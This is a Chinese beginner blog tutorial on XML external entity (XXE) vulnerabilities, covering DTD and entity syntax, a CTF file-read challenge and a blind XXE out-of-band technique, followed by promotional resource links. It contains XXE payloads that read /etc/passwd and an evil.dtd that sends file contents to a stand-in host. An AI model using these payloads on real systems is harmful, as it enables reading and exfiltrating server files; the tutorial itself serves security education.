【网络安全渗透测试零基础入门】之XXE漏洞漏洞及利用方法解析(非常详细)零基础入门到精通,收藏这一篇就够了!

前言

这是晓晓给粉丝盆友们整理的网络安全渗透测试入门阶段文件XXE渗透与防御教程

本文主要讲解XXE漏洞漏洞及利用方法解析

喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。

1、XML

XML设计用来传送及携带数据信息,不用来表现或展示数据,HTML则用来表现数据,所以XML用途的焦点是它说明数据是什么,以及携带数据信息。

基本语法

  • 所有 XML 元素都须有关闭标签。

  • XML 标签对大小写敏感。

  • XML 必须正确地嵌套。

  • XML 文档必须有根元素。

  • XML 的属性值须加引号。

  • XML的注释和HTML一样<!-- -->

下表列出了5个XML预定义实体. 通过名字引用这些实体的格式为&name;,例如, & 将绘制为&.

2、DTD

XML文件的文档类型定义(Document Type Definition)可以看成一个或者多个XML文件的模板,在这里可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。DTD可定义合法的XML文档构建模块

<?xml version="1.0"?>  
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->  
<!ELEMENT note (nuc,edu)><!--定义note元素有四个元素-->  
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->  
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->  
  
]>  
<note>  
<nuc>hello</nuc>  
<edu>world</edu>  
</note>  


当使用外部DTD时,通过如下语法引入。

<!DOCTYPE root-element SYSTEM "filename">  


外部DTD实例

<?xml version="1.0"?>  
<!DOCTYPE root-element SYSTEM "test.dtd">  
<note>  
<nuc>hello</nuc>  
<edu>world</edu>  
</note>  


test.dtd

<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->  
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->  


-PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换
-CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

DTD属性
属性声明使用以下语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>  


DTD实例

<!ATTLIST nuc edu PCDATA "hello">  


XML实例

<nuc edu="hello">  


DTD实体
DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.

内部实体例子

<?xml version="1.0"?>  
<!DOCTYPE note[  
<!ELEMENT note (name)>  
<!ENTITY hack3r "Hu3sky">  
]>  
<note>  
<name>&hack3r;</name>  
</note>  


DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

一个内部实体声明

<!ENTITY 实体名称 "实体的值">  


例子
DTD:

<!ENTITY writer "me">  


XML:

<author>&writer;</author>  


注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE xxe [  
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体  
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com  
]>  
  
<root>  
<test>[This is my site] &internal;</test>  
</root>  



通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE xxe [  
<!ENTITY test "this is xml" > // 在DTD中定义  
]>  
<cred>&test;</cred>//在xml文档中引用  


参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE a [  
  <!ENTITY % name SYSTEM "file:///etc/passwd">  
  %name;  
]>  


%name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。

一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">  


或者

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">  


例子

DTD:

<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">  


XML:

<author>&writer;</author>  


外部实体类型有

3、CDATA

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,“<” 和 “&” 是非法的。“<” 会产生错误,因为解析器会把该字符解释为新元素的开始。“&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 “<![CDATA[" 开始,由 "]]>” 结束:

<?xml version="1.0" encoding="UTF-8"?>  
<content><![CDATA[<html></html>]]></content>  


结果

XXE主要是利用了DTD引用外部实体导致的漏洞。

具体利用方法:
引用外部实体远程文件读取
读取任意文件
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

发现了json数据,修改可以被解析。
将json数据改为xml数据,构造一个xml表单注入,得到flag

这里使用到了SYSTEM标识符,该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是file:///home/ctf/flag.txt内的值。

Blind XXE
Blind XXE即无回显注入。
先看一段代码。

<?xml version="1.0"?>  
<!DOCTYPE XXE[  
	<!ENTITY % passwd SYSTEM "/ect/passwd">  
	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">  
	&wrapper  
]>  
<pwn>&send</pwn>  


这样是passwd的值是传不过去的,不能在值中调用实体参数

解决办法

main.xml  
  
<?xml version="1.0"?>  
<!DOCTYPE data SYSTEM "http://example.com/evil.dtd">  
<data>&send;</data>  


evil.dtd  
  
<!ENTITY % passwd SYSTEM "file:///etc/passwd">  
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">  
%wrapper;  //<!ENTITY send SYSTEM 'http://example.com/?CONTENTS_OF_PASSWD'>  


题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值